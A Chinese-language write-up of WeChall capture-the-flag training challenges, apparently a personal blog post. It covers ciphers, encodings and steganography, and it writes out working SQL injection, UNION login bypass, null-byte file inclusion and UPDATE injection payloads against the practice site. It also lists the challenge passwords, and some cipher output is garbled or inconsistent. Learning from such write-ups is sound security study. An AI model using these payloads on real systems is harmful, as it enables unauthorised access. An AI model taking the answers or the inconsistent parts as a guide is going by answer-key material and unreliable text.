WeChall writeup

WeChall Challage writeup.

Training:Get Sourced

查看源码

最后面:
<!-- You are looking for this password: html_sourcecode -->

Training: Stegano I

隐写

下载下来,使用notepad打开

Look what the hex-edit revealed: passwd:steganoI

Training: ASCII

84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 108, 101, 110, 112, 108, 99, 102, 104, 104, 105, 115, 102

ASCII解码

The solution is: lenplcfhhisf

Training: Crypto - Caesar I

VJG SWKEM DTQYP HQZ LWORU QXGT VJG NCBA FQI QH ECGUCT CPF AQWT WPKSWG UQNWVKQP KU DHFUHKPPTRCF

凯撒解密,偏移24

THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG OF CAESAR AND YOUR UNIQUE SOLUTION IS BFDSFINNRPAD

Encodings: URL

%59%69%70%70%65%68%21%20%59%6F%75%72%20%55%52%4C%20%69%73%20%63%68%61%6C%6C%65%6E%67%65%2F%74%72%61%69%6E%69%6E%67%2F%65%6E%63%6F%64%69%6E%67%73%2F%75%72%6C%2F%73%61%77%5F%6C%6F%74%69%6F%6E%2E%70%68%70%3F%70%3D%6D%61%69%68%68%6D%6F%62%68%69%6E%70%26%63%69%64%3D%35%32%23%70%61%73%73%77%6F%72%64%3D%66%69%62%72%65%5F%6F%70%74%69%63%73%20%56%65%72%79%20%77%65%6C%6C%20%64%6F%6E%65%21 

URL编码,URL解码

Yippeh! Your URL is challenge/training/encodings/url/saw_lotion.php?p=maihhmobhinp&cid=52#password=fibre_optics Very well done! 

Training: WWW-Robots

考察robots.txt(网络爬虫协议)

http://www.wechall.net/robots.txt
User-agent: *
Disallow: /challenge/training/www/robots/T0PS3CR3T

Prime Factory

找到第一个和第二个大于1百万,并且每个位上的数字的和都是素数的素数。

代码如下:

def iszhishu(n):
    for i in range(2,n):
        if n % i ==0:
            return False
    return True
def sum(n):
    count = 0
    for t in range(len(n)):
        count += int(n[t])
    if iszhishu(count):
        return True
    else:
        return False
for num in range(1000001,9999999):
    if iszhishu(num):
        if sum(str(num)):
            print(int(num))

取前两个

1000033 1000037

PHP 0817

本地文件包含,代码如下:

<?php
if (isset($_GET['which']))
{
        $which = $_GET['which'];
        switch ($which)        
        {
        case 0:
        case 1:
        case 2:
                require_once $which.'.php';                
                break;
        default:
                echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                break;
        }
}

要求是包含solution.php.

http://www.wechall.net/challenge/php0817/index.php?which=solution

Training: MySQL I

简单的sql注入

万能密钥:

admin’or’1’=’1

Training: Programming 1

就是一个简单的post数据包。

就是先获取生成随机数那个页面的 http 头。然后把自己的 Cookie 加上去。

然后请求这个页面,得到字符串,将其拼接在提交页面的 url 上。

再请求提交页面的 http 头,并添加自己的 Cookie,最后请求即可。

Warning:

这个网站在国外,但是打开一个页面就要 1 秒多。所以国内跑这个脚本肯定超时。这时候你就需要一台国外服务器来跑这个脚本。

Training: PHP LFI

本地文件包含+零零截断

源码如下:

$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

会在file的前面加上pages/后面加上welcome

所以结果就是:pages/file.html

所以构造如下代码:

http://www.wechall.net/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

Training: Encodings I

本来按照正常思路是先8个8个一组,分到最后发现不对,不是8的倍数。然后百度,原来重点是提示的:English

英文字母所用的ascii字符只占用七个bit(即7位)

脚本如下:

str1="101010011010001101001111001101000001110100110010111110001110100010000011010011110011010000001101110101101110001011010011110100010000011001011101110110001111011111100100110010111001000100000110000111100111100011110100111010010101110010000010110011101111111010111100100100000111000011000011110011111001111101111101111111001011001000100000110100111100110100000110010111000011110011111100111100111110100110000111100101110100110010111100100101110"

print len(str1)

def res(str1):

    length = len(str1)

    for i in range(length/7):

        yield str1[i*7:(i+1)*7]
s=""

for r in res(str1):

    s += chr(int(r,2)) //将二进制的字符串变成整形的十进制

print s
  • yield关键字用来定义生成器(Generator),其具体功能是可以当return使用,从函数里返回一个值,不同之处是用yield返回之后,可以让函数从上回yield返回的地点继续执行。也就是说,yield返回函数,交给调用者一个返回值,然后再“瞬移”回去,让函数继续运行, 直到吓一跳yield语句再返回一个新的值。
  • int(r,2)2是表示转化为十进制,默认的是0

    This text is 7-bit encoded ascii. Your password is easystarter.

Training: Crypto - Transposition I

置换密码:就是明文的字母保持相同,但顺序被打乱了。

密文如下:

oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt  oes eoyrup sawsro don:wa nrrabflmag.b

脚本如下:

s='oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt  oes eoyrup sawsro don:wa msmniaocam.d'
for i in range(0,len(s),2):
    res=''
    t= (s[i + 1] + s[i])
    res +=t
    print res

说明:字符串的长度为148,所以可以换的话就有:

  • 两两互换即o,W互换,d,n互换…共74对
  • 四四互换即oWdn,reuf互换,.lY ,uoc 互换…共37对
  • 37,37互换…
  • 74,74互换…

    Wonderful. You can read the message way better when the letters are in correct order. I think you would like to see your password now: asmnmaicomad.

Training: Register Globals

PHP全局变量

源码如下:

...
if (isset($login))
{
    echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
    if (strtolower($login[0]) === 'admin') {
        $chall->onChallengeSolved(GWF_Session::getUserID());
    }
...

代码中检测login,如果login[0]=’admin’输出信息。

构造代码如下:

http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin

No Escape

update注入

如果一直点一个人的话,会一直增长,如果有人达到100,所有人重置。

执行以下代码:

http://www.wechall.net/challenge/no_escape/index.php?vote_for=bil

回显为:

GDO Error(1054): Unknown column ‘bil’ in ‘field list’
UPDATE noescvotes SET bil=bil+1 WHERE id=1

构造如下语句:

bill`=111%23

则sql语句为:

UPDATE noescvotes SET bill=111%23=bill`+1 WHERE id=1

构造URL:

http://www.wechall.net/challenge/no_escape/?vote_for=bill`=111%23

Training: Crypto - Substitution I

单表置换密码

密文如下:

DK OAM VTFXLAOK LIG KIQ PVE BMVG OAXH FK RBXMEG X VF XFZBMHHMG YMBK CMTT GIEM KIQB HITQOXIE UMK XH ZMFLMZXAFEXL OAXH TXOOTM PAVTTMELM CVH EIO OII AVBG CVH XO

密钥短语密码就是选一个英文短语作为密钥字(Key Word)或密钥短语(Key Phrase),如HAPPY NEW YEAR,去掉重复字母得HAPYNEWR。将它依次写在明文字母表之下,而后再将字母表中未在短语中出现过的字母依次写于此短语之后,就可构造出一个字母代换表:

对照表就行了。

免费破解地址

BY THE ALMIGHTY GOD YOU CAN READ THIS MY FRIEND I AM IMPRESSED VERY WELL DONE YOUR SOLUTION KEY IS PEMGEPIHMNIG THIS LITTLE CHALLENGE WAS NOT TOO HARD WAS IT

hi

说了那么多屁话,就是一个等差数列。

第一分钟是2,以后依次加一,最后一项是17591026060781

所以总共有
(2+17591026060781)*17591026060781/2

发现结果竟然是小数,改为(2+17591026060782)*17591026060782/2竟然对了。。。

Training: MySQL II

.htaccess

username password分开来验证。通常的利用方法是使用union构造已知MD5值的查询。

构造语句:

username=-1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e' %23&password=123456&login=Login

这句话首先通过username=-1将原语句报错。因此返回的将会是第二条语句产生的信息。
而我们union select的是直接构造了用户名为admin,密码为123456的md5值。这样就可以让程序误认为我们构造的信息就是它从数据库里面提取得到的信息。

Limited Access

让我们访问.htaccess

源码如下:

AuthUserFile .htpasswd
AuthGroupFile /dev/null
AuthName "Authorization Required for the Limited Access Challenge"
AuthType Basic
<Limit GET>require valid-user
</Limit>

源码中限制了GET

所以使用post即可

Training: Regex

正则表达式

匹配一个空字符就行了。

正则表达式匹配空值方式如下:
\b 匹配单词开头或结尾位置
^ 匹配字符串开端位置
$ 匹配字符串结尾位置
\s 匹配一切空白字符
\n 匹配换行

代码如下:

/^$/

Training: Crypto - Caesar II

s = '77 1F 1F 14 20 1A 1F 12 5C 20 29 1F 25 20 23 1F 1C 26 15 14 20 1F 1E 15 20 1D 1F 22 15 20 13 18 11 1C 1C 15 1E 17 15 20 19 1E 20 29 1F 25 22 20 1A 1F 25 22 1E 15 29 5E 20 04 18 19 23 20 1F 1E 15 20 27 11 23 20 16 11 19 22 1C 29 20 15 11 23 29 20 24 1F 20 13 22 11 13 1B 5E 20 07 11 23 1E 57 24 20 19 24 6F 20 61 62 68 20 1B 15 29 23 20 19 23 20 11 20 21 25 19 24 15 20 23 1D 11 1C 1C 20 1B 15 29 23 20 11 13 15 5C 20 23 1F 20 19 24 20 23 18 1F 25 1C 14 1E 57 24 20 18 11 26 15 20 24 11 1B 15 1E 20 29 1F 25 20 24 1F 1F 20 1C 1F 1E 17 20 24 1F 20 14 15 13 22 29 20 24 20 24 18 19 23 20 1D 15 23 23 11 17 15 5E 20 07 15 1C 1C 20 14 1F 1E 15 5C 20 29 1F 25 22 20 23 1F 1C 25 24 19 1F 1E 20 19 23 20 1D 20 23 11 22 22 15 23 20 1D 1E 17 5E'
s = s.split()
for key in range(0,128+1,1):
    for i in s:
        i = int(i,16)
        print (chr((i + key + 256) % 256 ), end = '')
    print (key)

key=80时

Çoodpjob¬pyoupsolvedponepmorepchallengepinpyourpjourney®pThisponepwaspfairlypeasyptopcrack®pWasn§tpit¿p±²¸pkeyspispapquitepsmallpkeyspace¬psopitpshouldn§tphaveptakenpyouptooplongptopdecryptpthispmessage®pWellpdone¬pyourpsolutionpispmpsarrespmng®

Stegano Attachment

下载图片之后,notepad打开

发现:solution.txt

改后缀为rar

IDSRGRNENMPS

Training: LSB

放入神器stegsolve

CBNMGNBFMOHN

Limited Access Too

访问.htaccess发现几乎过滤了所有方法

GET POST HEAD PUT DELETE CONNECT OPTIONS

  • php会将TO方法给解析成GET方法。那么我们就可以抓包,改为TO
  • 使用move方法

PHP 0815

源码如下:

<?
$whitelist = array(1, 2, 3);
if (false === ($show = isset($_GET['show']) ? $_GET['show'] : false)) {
    die('MISSING PARAMETER; USE foo.bar?show=[1-3]');
}
elseif (in_array($show, $whitelist)){
    $query = "SELECT 1 FROM `table` WHERE `id`=$show";
    echo 'Query: '.htmlspecialchars($query, ENT_QUOTES).'<br/>';
    die('SHOWING NUMBER '.htmlspecialchars($show, ENT_QUOTES));
}else 
{
        die('HACKER NONONO');
}

这明显是SQL注入,但是防注入的方法有很多,需要找到最简单的,于是找到一个方法:

将传入的参数需要转换成整数。

通常所用的函数是int()或者intval()

然而出于php wtf的atoi转换规则,$show-0足以完成

htmlspecialchars

这题是xss,借这个,再写一篇xss的总结。

大爷,赏个铜板呗!